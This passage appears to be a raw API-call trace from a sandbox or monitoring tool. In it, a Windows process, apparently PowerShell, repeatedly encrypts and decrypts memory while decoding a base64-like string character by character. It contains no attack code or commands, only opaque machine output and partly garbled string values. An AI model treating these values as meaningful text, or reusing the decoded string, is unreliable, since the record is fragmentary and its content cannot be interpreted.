(param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232") returned 0x18 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232") returned 0x18 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232") returned 0x18 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232") returned 0x20 [0135.533] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.533] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0ww䨏妩㌢㰹㷌醤틡") returned 0x20 [0135.533] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xaa78\xfb29\xad6\xf60a\x83c0\xab51\xae26\x4c04") returned 0x20 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xaa78\xfb29\xad6\xf60a\x83c0\xab51\xae26\x4c04") returned 0x20 [0135.533] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwI妩㌢㰹㷌醤틡") returned 0x20 [0135.534] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xb7f0\x3a98\xad61\xf068\xe457\xd78c\xbdfd\x59d6") returned 0x20 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xb7f0\x3a98\xad61\xf068\xe457\xd78c\xbdfd\x59d6") returned 0x20 [0135.534] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIO㌢㰹㷌醤틡") returned 0x20 [0135.534] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x3dfb\xc65a\x223b\x202\x7364\x2d9f\xb627\x7e97") returned 0x20 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x3dfb\xc65a\x223b\x202\x7364\x2d9f\xb627\x7e97") returned 0x20 [0135.534] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOc㰹㷌醤틡") returned 0x20 [0135.534] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x77a7\x8bac\xd997\xcd90\x1e4a\x45b8\x8fa8\x1b53") returned 0x20 [0135.534] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x77a7\x8bac\xd997\xcd90\x1e4a\x45b8\x8fa8\x1b53") returned 0x20 [0135.534] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.534] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcA㷌醤틡") returned 0x20 [0135.534] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x96de\xa450\x5549\xac99\xceaa\x9287\x1eff\x426") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x96de\xa450\x5549\xac99\xceaa\x9287\x1eff\x426") returned 0x20 [0135.535] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX醤틡") returned 0x20 [0135.535] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x29e1\x1a4b\xe82e\xbcf9\x1b9d\x9c50\xc6\x905d") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\x29e1\x1a4b\xe82e\xbcf9\x1b9d\x9c50\xc6\x905d") returned 0x20 [0135.535] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX8틡") returned 0x20 [0135.535] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xa753\x1e79\x5361\xa5a7\x44ef\x4492\xb257\x50f6") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xa753\x1e79\x5361\xa5a7\x44ef\x4492\xb257\x50f6") returned 0x20 [0135.535] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89") returned 0x20 [0135.535] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85") returned 0x20 [0135.535] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x02") returned 0x28 [0135.536] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89B珣瘽脞琼ቂ뮈") returned 0x28 [0135.536] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xfcd6\x184\x1530\x9c1b\xc705\x2750\x726e\xbb88") returned 0x28 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xfcd6\x184\x1530\x9c1b\xc705\x2750\x726e\xbb88") returned 0x28 [0135.536] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BV瘽脞琼ቂ뮈") returned 0x28 [0135.536] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xe55c\x4e11\x9de\x1dcf\x25a9\xe64b\x1818\x32d5") returned 0x28 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xe55c\x4e11\x9de\x1dcf\x25a9\xe64b\x1818\x32d5") returned 0x28 [0135.536] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt脞琼ቂ뮈") returned 0x28 [0135.536] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x88ac\xfc0f\xe944\x669c\x6cb1\x9668\x57d1\xae5b") returned 0x28 [0135.536] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x88ac\xfc0f\xe944\x669c\x6cb1\x9668\x57d1\xae5b") returned 0x28 [0135.536] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.536] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8琼ቂ뮈") returned 0x28 [0135.536] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xa41b\x316f\x748b\x4dd3\x88cb\xf742\x2acc\xacef") returned 0x28 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xa41b\x316f\x748b\x4dd3\x88cb\xf742\x2acc\xacef") returned 0x28 [0135.537] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q琼ቂ뮈") returned 0x28 [0135.537] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xf67d\x6357\xf728\xb401\xc59b\x4618\xe39\x2b12") returned 0x28 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xf67d\x6357\xf728\xb401\xc59b\x4618\xe39\x2b12") returned 0x28 [0135.537] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4ቂ뮈") returned 0x28 [0135.537] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xd07e\xa393\xb9a3\xf06a\x378f\x47f2\x1aa2\x85b9") returned 0x28 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\xd07e\xa393\xb9a3\xf06a\x378f\x47f2\x1aa2\x85b9") returned 0x28 [0135.537] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4S뮈") returned 0x28 [0135.537] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x386c\x8ad0\xa2b3\xf438\x29a5\x5654\x670d\x1041") returned 0x28 [0135.537] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x386c\x8ad0\xa2b3\xf438\x29a5\x5654\x670d\x1041") returned 0x28 [0135.537] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.538] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4Sc") returned 0x28 [0135.538] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a") returned 0x28 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a") returned 0x28 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a") returned 0x28 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a") returned 0x30 [0135.538] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.538] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4Scf蠺ꠛ敓궞巯郉") returned 0x30 [0135.538] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\xf1ec\x1312\xad31\x4f17\x46ea\x60ed\x5ead\xe8ef") returned 0x30 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\xf1ec\x1312\xad31\x4f17\x46ea\x60ed\x5ead\xe8ef") returned 0x30 [0135.538] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.538] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4Scfqꠛ敓궞巯郉") returned 0x30 [0135.538] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\x9b99\x45d\x24d5\xc778\x2c94\x7107\x2de6\x24f4") returned 0x30 [0135.538] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\x9b99\x45d\x24d5\xc778\x2c94\x7107\x2de6\x24f4") returned 0x30 [0135.538] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.538] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4Scfqs敓궞巯郉") returned 0x30 [0135.539] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.539] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\x20ac\x354b\x55b8\x381\x1d8c\x49bd\x304a\x10f4") returned 0x30 [0135.539] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x76d8\x4a25\x2ae1\x3224\xf8f9\x2959\xd45f\xe232\xfa93\xb5ee\x3df9\xec7\x5941\xb5ad\x6862\xdf85\x899\x8810\xdb53\x6455\x695e\x497a\xd532\xec5a\x20ac\x354b\x55b8\x381\x1d8c\x49bd\x304a\x10f4") returned 0x30 [0135.539] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.539] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0wwIOcAX89BVt8Q4Scfqs=궞巯郉") returned 0x30 [0135.539] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0135.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.539] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.539] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.539] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.540] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.540] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 